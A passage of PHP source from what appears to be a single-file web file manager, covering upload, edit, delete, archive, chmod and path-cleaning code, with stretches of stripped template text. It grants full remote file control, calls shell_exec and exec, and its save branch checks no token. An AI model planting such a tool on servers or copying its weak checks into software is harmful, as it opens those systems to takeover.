elseif ($rename === null) { fm_set_msg(lng('File or folder with this path already exists'), 'alert'); } else { fm_set_msg(sprintf(lng('Error while moving from').' %s '.lng('to').' %s', fm_enc($copy), fm_enc($msg_from)), 'error'); } } else { // Not move and to != from so copy with original name if (fm_rcopy($from, $dest)) { fm_set_msg(sprintf(lng('Copied from').' %s '.lng('to').' %s', fm_enc($copy), fm_enc($msg_from))); } else { fm_set_msg(sprintf(lng('Error while copying from').' %s '.lng('to').' %s', fm_enc($copy), fm_enc($msg_from)), 'error'); } } } else { if (!$move){ //Not move and to = from so duplicate $msg_from = trim(FM_PATH . '/' . basename($from), '/'); $fn_parts = pathinfo($from); $extension_suffix = ''; if(!is_dir($from)){ $extension_suffix = '.'.$fn_parts['extension']; } //Create new name for duplicate $fn_duplicate = $fn_parts['dirname'].'/'.$fn_parts['filename'].'-'.date('YmdHis').$extension_suffix; $loop_count = 0; $max_loop = 1000; // Check if a file with the duplicate name already exists, if so, make new name (edge case...) while(file_exists($fn_duplicate) & $loop_count < $max_loop){ $fn_parts = pathinfo($fn_duplicate); $fn_duplicate = $fn_parts['dirname'].'/'.$fn_parts['filename'].'-copy'.$extension_suffix; $loop_count++; } if (fm_rcopy($from, $fn_duplicate, False)) { fm_set_msg(sprintf('Copied from %s to %s', fm_enc($copy), fm_enc($fn_duplicate))); } else { fm_set_msg(sprintf('Error while copying from %s to %s', fm_enc($copy), fm_enc($fn_duplicate)), 'error'); } } else{ fm_set_msg(lng('Paths must be not equal'), 'alert'); } } $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } // Mass copy files/ folders if (isset($_POST['file'], $_POST['copy_to'], $_POST['finish'], $_POST['token']) && !FM_READONLY) { if(!verifyToken($_POST['token'])) { fm_set_msg(lng('Invalid Token.'), 'error'); } // from $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } // to $copy_to_path = FM_ROOT_PATH; $copy_to = fm_clean_path($_POST['copy_to']); if ($copy_to != '') { $copy_to_path .= '/' . $copy_to; } if ($path == $copy_to_path) { fm_set_msg(lng('Paths must be not equal'), 'alert'); $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } if (!is_dir($copy_to_path)) { if (!fm_mkdir($copy_to_path, true)) { fm_set_msg('Unable to create destination folder', 'error'); $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } } // move? $move = isset($_POST['move']); // copy/move $errors = 0; $files = $_POST['file']; if (is_array($files) && count($files)) { foreach ($files as $f) { if ($f != '') { $f = fm_clean_path($f); // abs path from $from = $path . '/' . $f; // abs path to $dest = $copy_to_path . '/' . $f; // do if ($move) { $rename = fm_rename($from, $dest); if ($rename === false) { $errors++; } } else { if (!fm_rcopy($from, $dest)) { $errors++; } } } } if ($errors == 0) { $msg = $move ? 'Selected files and folders moved' : 'Selected files and folders copied'; fm_set_msg($msg); } else { $msg = $move ? 'Error while moving items' : 'Error while copying items'; fm_set_msg($msg, 'error'); } } else { fm_set_msg(lng('Nothing selected'), 'alert'); } $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } // Rename if (isset($_POST['rename_from'], $_POST['rename_to'], $_POST['token']) && !FM_READONLY) { if(!verifyToken($_POST['token'])) { fm_set_msg("Invalid Token.", 'error'); } // old name $old = urldecode($_POST['rename_from']); $old = fm_clean_path($old); $old = str_replace('/', '', $old); // new name $new = urldecode($_POST['rename_to']); $new = fm_clean_path(strip_tags($new)); $new = str_replace('/', '', $new); // path $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } // rename if (fm_isvalid_filename($new) && $old != '' && $new != '') { if (fm_rename($path . '/' . $old, $path . '/' . $new)) { fm_set_msg(sprintf(lng('Renamed from').' %s '. lng('to').' %s', fm_enc($old), fm_enc($new))); } else { fm_set_msg(sprintf(lng('Error while renaming from').' %s '. lng('to').' %s', fm_enc($old), fm_enc($new)), 'error'); } } else { fm_set_msg(lng('Invalid characters in file name'), 'error'); } $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } // Download if (isset($_GET['dl'], $_POST['token'])) { if(!verifyToken($_POST['token'])) { fm_set_msg("Invalid Token.", 'error'); } $dl = urldecode($_GET['dl']); $dl = fm_clean_path($dl); $dl = str_replace('/', '', $dl); $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } if ($dl != '' && is_file($path . '/' . $dl)) { fm_download_file($path . '/' . $dl, $dl, 1024); exit; } else { fm_set_msg(lng('File not found'), 'error'); $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } } // Upload if (!empty($_FILES) && !FM_READONLY) { if(isset($_POST['token'])) { if(!verifyToken($_POST['token'])) { $response = array ('status' => 'error','info' => "Invalid Token."); echo json_encode($response); exit(); } } else { $response = array ('status' => 'error','info' => "Token Missing."); echo json_encode($response); exit(); } $chunkIndex = $_POST['dzchunkindex']; $chunkTotal = $_POST['dztotalchunkcount']; $fullPathInput = fm_clean_path($_REQUEST['fullpath']); $f = $_FILES; $path = FM_ROOT_PATH; $ds = DIRECTORY_SEPARATOR; if (FM_PATH != '') { $path .= '/' . FM_PATH; } $errors = 0; $uploads = 0; $allowed = (FM_UPLOAD_EXTENSION) ? explode(',', FM_UPLOAD_EXTENSION) : false; $response = array ( 'status' => 'error', 'info' => 'Oops! Try again' ); $filename = $f['file']['name']; $tmp_name = $f['file']['tmp_name']; $ext = pathinfo($filename, PATHINFO_FILENAME) != '' ? strtolower(pathinfo($filename, PATHINFO_EXTENSION)) : ''; $isFileAllowed = ($allowed) ? in_array($ext, $allowed) : true; if(!fm_isvalid_filename($filename) && !fm_isvalid_filename($fullPathInput)) { $response = array ( 'status' => 'error', 'info' => "Invalid File name!", ); echo json_encode($response); exit(); } $targetPath = $path . $ds; if ( is_writable($targetPath) ) { $fullPath = $path . '/' . $fullPathInput; $folder = substr($fullPath, 0, strrpos($fullPath, "/")); if (!is_dir($folder)) { $old = umask(0); mkdir($folder, 0777, true); umask($old); } if (empty($f['file']['error']) && !empty($tmp_name) && $tmp_name != 'none' && $isFileAllowed) { if ($chunkTotal){ $out = @fopen("{$fullPath}.part", $chunkIndex == 0 ? "wb" : "ab"); if ($out) { $in = @fopen($tmp_name, "rb"); if ($in) { if (PHP_VERSION_ID < 80009) { // workaround https://bugs.php.net/bug.php?id=81145 do { for (;;) { $buff = fread($in, 4096); if ($buff === false || $buff === '') { break; } fwrite($out, $buff); } } while (!feof($in)); } else { stream_copy_to_stream($in, $out); } $response = array ( 'status' => 'success', 'info' => "file upload successful" ); } else { $response = array ( 'status' => 'error', 'info' => "failed to open output stream", 'errorDetails' => error_get_last() ); } @fclose($in); @fclose($out); @unlink($tmp_name); $response = array ( 'status' => 'success', 'info' => "file upload successful" ); } else { $response = array ( 'status' => 'error', 'info' => "failed to open output stream" ); } if ($chunkIndex == $chunkTotal - 1) { if (file_exists ($fullPath)) { $ext_1 = $ext ? '.'.$ext : ''; $fullPathTarget = $path . '/' . basename($fullPathInput, $ext_1) .'_'. date('ymdHis'). $ext_1; } else { $fullPathTarget = $fullPath; } rename("{$fullPath}.part", $fullPathTarget); } } else if (move_uploaded_file($tmp_name, $fullPath)) { // Be sure that the file has been uploaded if ( file_exists($fullPath) ) { $response = array ( 'status' => 'success', 'info' => "file upload successful" ); } else { $response = array ( 'status' => 'error', 'info' => 'Couldn\'t upload the requested file.' ); } } else { $response = array ( 'status' => 'error', 'info' => "Error while uploading files. Uploaded files $uploads", ); } } } else { $response = array ( 'status' => 'error', 'info' => 'The specified folder for upload isn\'t writeable.' ); } // Return the response echo json_encode($response); exit(); } // Mass deleting if (isset($_POST['group'], $_POST['delete'], $_POST['token']) && !FM_READONLY) { if(!verifyToken($_POST['token'])) { fm_set_msg(lng("Invalid Token."), 'error'); } $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } $errors = 0; $files = $_POST['file']; if (is_array($files) && count($files)) { foreach ($files as $f) { if ($f != '') { $new_path = $path . '/' . $f; if (!fm_rdelete($new_path)) { $errors++; } } } if ($errors == 0) { fm_set_msg(lng('Selected files and folder deleted')); } else { fm_set_msg(lng('Error while deleting items'), 'error'); } } else { fm_set_msg(lng('Nothing selected'), 'alert'); } $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } // Pack files zip, tar if (isset($_POST['group'], $_POST['token']) && (isset($_POST['zip']) || isset($_POST['tar'])) && !FM_READONLY) { if(!verifyToken($_POST['token'])) { fm_set_msg(lng("Invalid Token."), 'error'); } $path = FM_ROOT_PATH; $ext = 'zip'; if (FM_PATH != '') { $path .= '/' . FM_PATH; } //set pack type $ext = isset($_POST['tar']) ? 'tar' : 'zip'; if (($ext == "zip" && !class_exists('ZipArchive')) || ($ext == "tar" && !class_exists('PharData'))) { fm_set_msg(lng('Operations with archives are not available'), 'error'); $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } $files = $_POST['file']; $sanitized_files = array(); // clean path foreach($files as $file){ array_push($sanitized_files, fm_clean_path($file)); } $files = $sanitized_files; if (!empty($files)) { chdir($path); if (count($files) == 1) { $one_file = reset($files); $one_file = basename($one_file); $zipname = $one_file . '_' . date('ymd_His') . '.'.$ext; } else { $zipname = 'archive_' . date('ymd_His') . '.'.$ext; } if($ext == 'zip') { $zipper = new FM_Zipper(); $res = $zipper->create($zipname, $files); } elseif ($ext == 'tar') { $tar = new FM_Zipper_Tar(); $res = $tar->create($zipname, $files); } if ($res) { fm_set_msg(sprintf(lng('Archive').' %s '.lng('Created'), fm_enc($zipname))); } else { fm_set_msg(lng('Archive not created'), 'error'); } } else { fm_set_msg(lng('Nothing selected'), 'alert'); } $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } // Unpack zip, tar if (isset($_POST['unzip'], $_POST['token']) && !FM_READONLY) { if(!verifyToken($_POST['token'])) { fm_set_msg(lng("Invalid Token."), 'error'); } $unzip = urldecode($_POST['unzip']); $unzip = fm_clean_path($unzip); $unzip = str_replace('/', '', $unzip); $isValid = false; $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } if ($unzip != '' && is_file($path . '/' . $unzip)) { $zip_path = $path . '/' . $unzip; $ext = pathinfo($zip_path, PATHINFO_EXTENSION); $isValid = true; } else { fm_set_msg(lng('File not found'), 'error'); } if (($ext == "zip" && !class_exists('ZipArchive')) || ($ext == "tar" && !class_exists('PharData'))) { fm_set_msg(lng('Operations with archives are not available'), 'error'); $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } if ($isValid) { //to folder $tofolder = ''; if (isset($_POST['tofolder'])) { $tofolder = pathinfo($zip_path, PATHINFO_FILENAME); if (fm_mkdir($path . '/' . $tofolder, true)) { $path .= '/' . $tofolder; } } if($ext == "zip") { $zipper = new FM_Zipper(); $res = $zipper->unzip($zip_path, $path); } elseif ($ext == "tar") { try { $gzipper = new PharData($zip_path); if (@$gzipper->extractTo($path,null, true)) { $res = true; } else { $res = false; } } catch (Exception $e) { //TODO:: need to handle the error $res = true; } } if ($res) { fm_set_msg(lng('Archive unpacked')); } else { fm_set_msg(lng('Archive not unpacked'), 'error'); } } else { fm_set_msg(lng('File not found'), 'error'); } $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } // Change Perms (not for Windows) if (isset($_POST['chmod'], $_POST['token']) && !FM_READONLY && !FM_IS_WIN) { if(!verifyToken($_POST['token'])) { fm_set_msg(lng("Invalid Token."), 'error'); } $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } $file = $_POST['chmod']; $file = fm_clean_path($file); $file = str_replace('/', '', $file); if ($file == '' || (!is_file($path . '/' . $file) && !is_dir($path . '/' . $file))) { fm_set_msg(lng('File not found'), 'error'); $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } $mode = 0; if (!empty($_POST['ur'])) { $mode |= 0400; } if (!empty($_POST['uw'])) { $mode |= 0200; } if (!empty($_POST['ux'])) { $mode |= 0100; } if (!empty($_POST['gr'])) { $mode |= 0040; } if (!empty($_POST['gw'])) { $mode |= 0020; } if (!empty($_POST['gx'])) { $mode |= 0010; } if (!empty($_POST['or'])) { $mode |= 0004; } if (!empty($_POST['ow'])) { $mode |= 0002; } if (!empty($_POST['ox'])) { $mode |= 0001; } if (@chmod($path . '/' . $file, $mode)) { fm_set_msg(lng('Permissions changed')); } else { fm_set_msg(lng('Permissions not changed'), 'error'); } $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } /*************************** ACTIONS ***************************/ // get current path $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } // check path if (!is_dir($path)) { fm_redirect(FM_SELF_URL . '?p='); } // get parent folder $parent = fm_get_parent_path(FM_PATH); $objects = is_readable($path) ? scandir($path) : array(); $folders = array(); $files = array(); $current_path = array_slice(explode("/",$path), -1)[0]; if (is_array($objects) && fm_is_exclude_items($current_path)) { foreach ($objects as $file) { if ($file == '.' || $file == '..') { continue; } if (!FM_SHOW_HIDDEN && substr($file, 0, 1) === '.') { continue; } $new_path = $path . '/' . $file; if (@is_file($new_path) && fm_is_exclude_items($file)) { $files[] = $file; } elseif (@is_dir($new_path) && $file != '.' && $file != '..' && fm_is_exclude_items($file)) { $folders[] = $file; } } } if (!empty($files)) { natcasesort($files); } if (!empty($folders)) { natcasesort($folders); } // upload form if (isset($_GET['upload']) && !FM_READONLY) { fm_show_header(); // HEADER fm_show_nav_path(FM_PATH); // current path //get the allowed file extensions function getUploadExt() { $extArr = explode(',', FM_UPLOAD_EXTENSION); if(FM_UPLOAD_EXTENSION && $extArr) { array_walk($extArr, function(&$x) {$x = ".$x";}); return implode(',', $extArr); } return ''; } ?>
    ' . PHP_EOL; } ?>

    : , ', $copy_files) ?>

    :
    /

     

    Copying

    Source path:
    Destination folder:

    Copy   Move   Cancel

    />
    />
    />

    ""

    :
    File size:
    MIME-type:
    :
    :
    :
    : %
    '.lng('Image size').': ' . (isset($image_size[0]) ? $image_size[0] : '0') . ' x ' . (isset($image_size[1]) ? $image_size[1] : '0') . '
    '; } // Text info if ($is_text) { $is_utf8 = fm_is_utf8($content); if (function_exists('iconv')) { if (!$is_utf8) { $content = iconv(FM_ICONV_INPUT_ENC, 'UTF-8//IGNORE', $content); } } echo ''.lng('Charset').': ' . ($is_utf8 ? 'utf-8' : '8 bit') . '
    '; } ?>

     
     
         
    '; } else if($online_viewer == 'microsoft') { echo ''; } } elseif ($is_zip) { // ZIP content if ($filenames !== false) { echo ''; foreach ($filenames as $fn) { if ($fn['folder']) { echo '' . fm_enc($fn['name']) . '
    '; } else { echo $fn['name'] . ' (' . fm_get_filesize($fn['filesize']) . ')
    '; } } echo '
    '; } else { echo '

    '.lng('Error while fetching archive info').'

    '; } } elseif ($is_image) { // Image content if (in_array($ext, array('gif', 'jpg', 'jpeg', 'png', 'bmp', 'ico', 'svg', 'webp', 'avif'))) { echo '

    '; } } elseif ($is_audio) { // Audio content echo '

    '; } elseif ($is_video) { // Video content echo '
    '; } elseif ($is_text) { if (FM_USE_HIGHLIGHTJS) { // highlight $hljs_classes = array( 'shtml' => 'xml', 'htaccess' => 'apache', 'phtml' => 'php', 'lock' => 'json', 'svg' => 'xml', ); $hljs_class = isset($hljs_classes[$ext]) ? 'lang-' . $hljs_classes[$ext] : 'lang-' . $ext; if (empty($ext) || in_array(strtolower($file), fm_get_text_names()) || preg_match('#\.min\.(css|js)$#i', $file)) { $hljs_class = 'nohighlight'; } $content = '
    ' . fm_enc($content) . '
    '; } elseif (in_array($ext, array('php', 'php4', 'php5', 'phtml', 'phps'))) { // php highlight $content = highlight_string($content, true); } else { $content = '
    ' . fm_enc($content) . '
    '; } echo $content; } ?>
    '. $file. ''; header('X-XSS-Protection:0'); fm_show_header(); // HEADER fm_show_nav_path(FM_PATH); // current path $file_url = FM_ROOT_URL . fm_convert_win((FM_PATH != '' ? '/' . FM_PATH : '') . '/' . $file); $file_path = $path . '/' . $file; // normal editer $isNormalEditor = true; if (isset($_GET['env'])) { if ($_GET['env'] == "ace") { $isNormalEditor = false; } } // Save File if (isset($_POST['savedata'])) { $writedata = $_POST['savedata']; $fd = fopen($file_path, "w"); @fwrite($fd, $writedata); fclose($fd); fm_set_msg(lng('File Saved Successfully')); } $ext = strtolower(pathinfo($file_path, PATHINFO_EXTENSION)); $mime_type = fm_get_mime_type($file_path); $filesize = filesize($file_path); $is_text = false; $content = ''; // for text if (in_array($ext, fm_get_text_exts()) || substr($mime_type, 0, 4) == 'text' || in_array($mime_type, fm_get_text_mimes())) { $is_text = true; $content = file_get_contents($file_path); } ?>
    ' . htmlspecialchars($content) . ''; echo ''; } elseif ($is_text) { echo '
    ' . htmlspecialchars($content) . '
    '; } else { fm_set_msg(lng('FILE EXTENSION HAS NOT SUPPORTED'), 'error'); } ?>

    :

     

    '?'); } if ($group === false) { $group = array('name' => '?'); } } else { $owner = array('name' => '?'); $group = array('name' => '?'); } ?> '?'); } if ($group === false) { $group = array('name' => '?'); } } else { $owner = array('name' => '?'); $group = array('name' => '?'); } ?>
    ..
    >
    ' . readlink($path . '/' . $f) . '' : '') ?>
    ">
    >
    ' . readlink($path . '/' . $f) . '' : '') ?>
    ">
    '.fm_get_filesize($all_files_size).'' ?> '.$num_files.'' ?> '.$num_folders.'' ?>
    "; return; } echo "$external[$key]"; } /** * Verify CSRF TOKEN and remove after certified * @param string $token * @return bool */ function verifyToken($token) { if (hash_equals($_SESSION['token'], $token)) { return true; } return false; } /** * Delete file or folder (recursively) * @param string $path * @return bool */ function fm_rdelete($path) { if (is_link($path)) { return unlink($path); } elseif (is_dir($path)) { $objects = scandir($path); $ok = true; if (is_array($objects)) { foreach ($objects as $file) { if ($file != '.' && $file != '..') { if (!fm_rdelete($path . '/' . $file)) { $ok = false; } } } } return ($ok) ? rmdir($path) : false; } elseif (is_file($path)) { return unlink($path); } return false; } /** * Recursive chmod * @param string $path * @param int $filemode * @param int $dirmode * @return bool * @todo Will use in mass chmod */ function fm_rchmod($path, $filemode, $dirmode) { if (is_dir($path)) { if (!chmod($path, $dirmode)) { return false; } $objects = scandir($path); if (is_array($objects)) { foreach ($objects as $file) { if ($file != '.' && $file != '..') { if (!fm_rchmod($path . '/' . $file, $filemode, $dirmode)) { return false; } } } } return true; } elseif (is_link($path)) { return true; } elseif (is_file($path)) { return chmod($path, $filemode); } return false; } /** * Check the file extension which is allowed or not * @param string $filename * @return bool */ function fm_is_valid_ext($filename) { $allowed = (FM_FILE_EXTENSION) ? explode(',', FM_FILE_EXTENSION) : false; $ext = pathinfo($filename, PATHINFO_EXTENSION); $isFileAllowed = ($allowed) ? in_array($ext, $allowed) : true; return ($isFileAllowed) ? true : false; } /** * Safely rename * @param string $old * @param string $new * @return bool|null */ function fm_rename($old, $new) { $isFileAllowed = fm_is_valid_ext($new); if(!is_dir($old)) { if (!$isFileAllowed) return false; } return (!file_exists($new) && file_exists($old)) ? rename($old, $new) : null; } /** * Copy file or folder (recursively). * @param string $path * @param string $dest * @param bool $upd Update files * @param bool $force Create folder with same names instead file * @return bool */ function fm_rcopy($path, $dest, $upd = true, $force = true) { if (is_dir($path)) { if (!fm_mkdir($dest, $force)) { return false; } $objects = scandir($path); $ok = true; if (is_array($objects)) { foreach ($objects as $file) { if ($file != '.' && $file != '..') { if (!fm_rcopy($path . '/' . $file, $dest . '/' . $file)) { $ok = false; } } } } return $ok; } elseif (is_file($path)) { return fm_copy($path, $dest, $upd); } return false; } /** * Safely create folder * @param string $dir * @param bool $force * @return bool */ function fm_mkdir($dir, $force) { if (file_exists($dir)) { if (is_dir($dir)) { return $dir; } elseif (!$force) { return false; } unlink($dir); } return mkdir($dir, 0777, true); } /** * Safely copy file * @param string $f1 * @param string $f2 * @param bool $upd Indicates if file should be updated with new content * @return bool */ function fm_copy($f1, $f2, $upd) { $time1 = filemtime($f1); if (file_exists($f2)) { $time2 = filemtime($f2); if ($time2 >= $time1 && $upd) { return false; } } $ok = copy($f1, $f2); if ($ok) { touch($f2, $time1); } return $ok; } /** * Get mime type * @param string $file_path * @return mixed|string */ function fm_get_mime_type($file_path) { if (function_exists('finfo_open')) { $finfo = finfo_open(FILEINFO_MIME_TYPE); $mime = finfo_file($finfo, $file_path); finfo_close($finfo); return $mime; } elseif (function_exists('mime_content_type')) { return mime_content_type($file_path); } elseif (!stristr(ini_get('disable_functions'), 'shell_exec')) { $file = escapeshellarg($file_path); $mime = shell_exec('file -bi ' . $file); return $mime; } else { return '--'; } } /** * HTTP Redirect * @param string $url * @param int $code */ function fm_redirect($url, $code = 302) { header('Location: ' . $url, true, $code); exit; } /** * Path traversal prevention and clean the url * It replaces (consecutive) occurrences of / and \\ with whatever is in DIRECTORY_SEPARATOR, and processes /. and /.. fine. * @param $path * @return string */ function get_absolute_path($path) { $path = str_replace(array('/', '\\'), DIRECTORY_SEPARATOR, $path); $parts = array_filter(explode(DIRECTORY_SEPARATOR, $path), 'strlen'); $absolutes = array(); foreach ($parts as $part) { if ('.' == $part) continue; if ('..' == $part) { array_pop($absolutes); } else { $absolutes[] = $part; } } return implode(DIRECTORY_SEPARATOR, $absolutes); } /** * Clean path * @param string $path * @return string */ function fm_clean_path($path, $trim = true) { $path = $trim ? trim($path) : $path; $path = trim($path, '\\/'); $path = str_replace(array('../', '..\\'), '', $path); $path = get_absolute_path($path); if ($path == '..') { $path = ''; } return str_replace('\\', '/', $path); } /** * Get parent path * @param string $path * @return bool|string */ function fm_get_parent_path($path) { $path = fm_clean_path($path); if ($path != '') { $array = explode('/', $path); if (count($array) > 1) { $array = array_slice($array, 0, -1); return implode('/', $array); } return ''; } return false; } function fm_get_display_path($file_path) { global $path_display_mode, $root_path, $root_url; switch ($path_display_mode) { case 'relative': return array( 'label' => 'Path', 'path' => fm_enc(fm_convert_win(str_replace($root_path, '', $file_path))) ); case 'host': $relative_path = str_replace($root_path, '', $file_path); return array( 'label' => 'Host Path', 'path' => fm_enc(fm_convert_win('/' . $root_url . '/' . ltrim(str_replace('\\', '/', $relative_path), '/'))) ); case 'full': default: return array( 'label' => 'Full Path', 'path' => fm_enc(fm_convert_win($file_path)) ); } } /** * Check file is in exclude list * @param string $file * @return bool */ function fm_is_exclude_items($file) { $ext = strtolower(pathinfo($file, PATHINFO_EXTENSION)); if (isset($exclude_items) and sizeof($exclude_items)) { unset($exclude_items); } $exclude_items = FM_EXCLUDE_ITEMS; if (version_compare(PHP_VERSION, '7.0.0', '<')) { $exclude_items = unserialize($exclude_items); } if (!in_array($file, $exclude_items) && !in_array("*.$ext", $exclude_items)) { return true; } return false; } /** * get language translations from json file * @param int $tr * @return array */ function fm_get_translations($tr) { try { $content = @file_get_contents('translation.json'); if($content !== FALSE) { $lng = json_decode($content, TRUE); global $lang_list; foreach ($lng["language"] as $key => $value) { $code = $value["code"]; $lang_list[$code] = $value["name"]; if ($tr) $tr[$code] = $value["translation"]; } return $tr; } } catch (Exception $e) { echo $e; } } /** * @param string $file * Recover all file sizes larger than > 2GB. * Works on php 32bits and 64bits and supports linux * @return int|string */ function fm_get_size($file) { static $iswin; static $isdarwin; if (!isset($iswin)) { $iswin = (strtoupper(substr(PHP_OS, 0, 3)) == 'WIN'); } if (!isset($isdarwin)) { $isdarwin = (strtoupper(substr(PHP_OS, 0)) == "DARWIN"); } static $exec_works; if (!isset($exec_works)) { $exec_works = (function_exists('exec') && !ini_get('safe_mode') && @exec('echo EXEC') == 'EXEC'); } // try a shell command if ($exec_works) { $arg = escapeshellarg($file); $cmd = ($iswin) ? "for %F in (\"$file\") do @echo %~zF" : ($isdarwin ? "stat -f%z $arg" : "stat -c%s $arg"); @exec($cmd, $output); if (is_array($output) && ctype_digit($size = trim(implode("\n", $output)))) { return $size; } } // try the Windows COM interface if ($iswin && class_exists("COM")) { try { $fsobj = new COM('Scripting.FileSystemObject'); $f = $fsobj->GetFile( realpath($file) ); $size = $f->Size; } catch (Exception $e) { $size = null; } if (ctype_digit($size)) { return $size; } } // if all else fails return filesize($file); } /** * Get nice filesize * @param int $size * @return string */ function fm_get_filesize($size) { $size = (float) $size; $units = array('B', 'KB', 'MB', 'GB', 'TB', 'PB', 'EB', 'ZB', 'YB'); $power = ($size > 0) ? floor(log($size, 1024)) : 0; $power = ($power > (count($units) - 1)) ? (count($units) - 1) : $power; return sprintf('%s %s', round($size / pow(1024, $power), 2), $units[$power]); } /** * Get total size of directory tree. * * @param string $directory Relative or absolute directory name. * @return int Total number of bytes. */ function fm_get_directorysize($directory) { $bytes = 0; $directory = realpath($directory); if ($directory !== false && $directory != '' && file_exists($directory)){ foreach(new RecursiveIteratorIterator(new RecursiveDirectoryIterator($directory, FilesystemIterator::SKIP_DOTS)) as $file){ $bytes += $file->getSize(); } } return $bytes; } /** * Get info about zip archive * @param string $path * @return array|bool */ function fm_get_zif_info($path, $ext) { if ($ext == 'zip' && function_exists('zip_open')) { $arch = @zip_open($path); if ($arch) { $filenames = array(); while ($zip_entry = @zip_read($arch)) { $zip_name = @zip_entry_name($zip_entry); $zip_folder = substr($zip_name, -1) == '/'; $filenames[] = array( 'name' => $zip_name, 'filesize' => @zip_entry_filesize($zip_entry), 'compressed_size' => @zip_entry_compressedsize($zip_entry), 'folder' => $zip_folder //'compression_method' => zip_entry_compressionmethod($zip_entry), ); } @zip_close($arch); return $filenames; } } elseif($ext == 'tar' && class_exists('PharData')) { $archive = new PharData($path); $filenames = array(); foreach(new RecursiveIteratorIterator($archive) as $file) { $parent_info = $file->getPathInfo(); $zip_name = str_replace("phar://".$path, '', $file->getPathName()); $zip_name = substr($zip_name, ($pos = strpos($zip_name, '/')) !== false ? $pos + 1 : 0); $zip_folder = $parent_info->getFileName(); $zip_info = new SplFileInfo($file); $filenames[] = array( 'name' => $zip_name, 'filesize' => $zip_info->getSize(), 'compressed_size' => $file->getCompressedSize(), 'folder' => $zip_folder ); } return $filenames; } return false; } /** * Encode html entities * @param string $text * @return string */ function fm_enc($text) { return htmlspecialchars($text, ENT_QUOTES, 'UTF-8'); } /** * Prevent XSS attacks * @param string $text * @return string */ function fm_isvalid_filename($text) { return (strpbrk($text, '/?%*:|"<>') === FALSE) ? true : false; } /** * Save message in session * @param string $msg * @param string $status */ function fm_set_msg($msg, $status = 'ok') { $_SESSION[FM_SESSION_ID]['message'] = $msg; $_SESSION[FM_SESSION_ID]['status'] = $status; } /** * Check if string is in UTF-8 * @param string $string * @return int */ function fm_is_utf8($string) { return preg_match('//u', $string); } /** * Convert file name to UTF-8 in Windows * @param string $filename * @return string */ function fm_convert_win($filename) { if (FM_IS_WIN && function_exists('iconv')) { $filename = iconv(FM_ICONV_INPUT_ENC, 'UTF-8//IGNORE', $filename); } return $filename; } /** * @param $obj * @return array */ function fm_object_to_array($obj) { if (!is_object($obj) && !is_array($obj)) { return $obj; } if (is_object($obj)) { $obj = get_object_vars($obj); } return array_map('fm_object_to_array', $obj); } /** * Get CSS classname for file * @param string $path * @return string */ function fm_get_file_icon_class($path) { // get extension $ext = strtolower(pathinfo($path, PATHINFO_EXTENSION)); switch ($ext) { case 'ico': case 'gif': case 'jpg': case 'jpeg': case 'jpc': case 'jp2': case 'jpx': case 'xbm': case 'wbmp': case 'png': case 'bmp': case 'tif': case 'tiff': case 'webp': case 'avif': case 'svg': $img = 'fa fa-picture-o'; break; case 'passwd': case 'ftpquota': case 'sql': case 'js': case 'ts': case 'jsx': case 'tsx': case 'hbs': case 'json': case 'sh': case 'config': case 'twig': case 'tpl': case 'md': case 'gitignore': case 'c': case 'cpp': case 'cs': case 'py': case 'rs': case 'map': case 'lock': case 'dtd': case 'ps1': $img = 'fa fa-file-code-o'; break; case 'txt': case 'ini': case 'conf': case 'log': case 'htaccess': case 'yaml': case 'yml': case 'toml': case 'tmp': case 'top': case 'bot': case 'dat': case 'bak': case 'htpasswd': case 'pl': $img = 'fa fa-file-text-o'; break; case 'css': case 'less': case 'sass': case 'scss': $img = 'fa fa-css3'; break; case 'bz2': case 'tbz2': case 'tbz': case 'zip': case 'rar': case 'gz': case 'tgz': case 'tar': case '7z': case 'xz': case 'txz': case 'zst': case 'tzst': $img = 'fa fa-file-archive-o'; break; case 'php': case 'php4': case 'php5': case 'phps': case 'phtml': $img = 'fa fa-code'; break; case 'htm': case 'html': case 'shtml': case 'xhtml': $img = 'fa fa-html5'; break; case 'xml': case 'xsl': $img = 'fa fa-file-excel-o'; break; case 'wav': case 'mp3': case 'mp2': case 'm4a': case 'aac': case 'ogg': case 'oga': case 'wma': case 'mka': case 'flac': case 'ac3': case 'tds': $img = 'fa fa-music'; break; case 'm3u': case 'm3u8': case 'pls': case 'cue': case 'xspf': $img = 'fa fa-headphones'; break; case 'avi': case 'mpg': case 'mpeg': case 'mp4': case 'm4v': case 'flv': case 'f4v': case 'ogm': case 'ogv': case 'mov': case 'mkv': case '3gp': case 'asf': case 'wmv': case 'webm': $img = 'fa fa-file-video-o'; break; case 'eml': case 'msg': $img = 'fa fa-envelope-o'; break; case 'xls': case 'xlsx': case 'ods': $img = 'fa fa-file-excel-o'; break; case 'csv': $img = 'fa fa-file-text-o'; break; case 'bak': case 'swp': $img = 'fa fa-clipboard'; break; case 'doc': case 'docx': case 'odt': $img = 'fa fa-file-word-o'; break; case 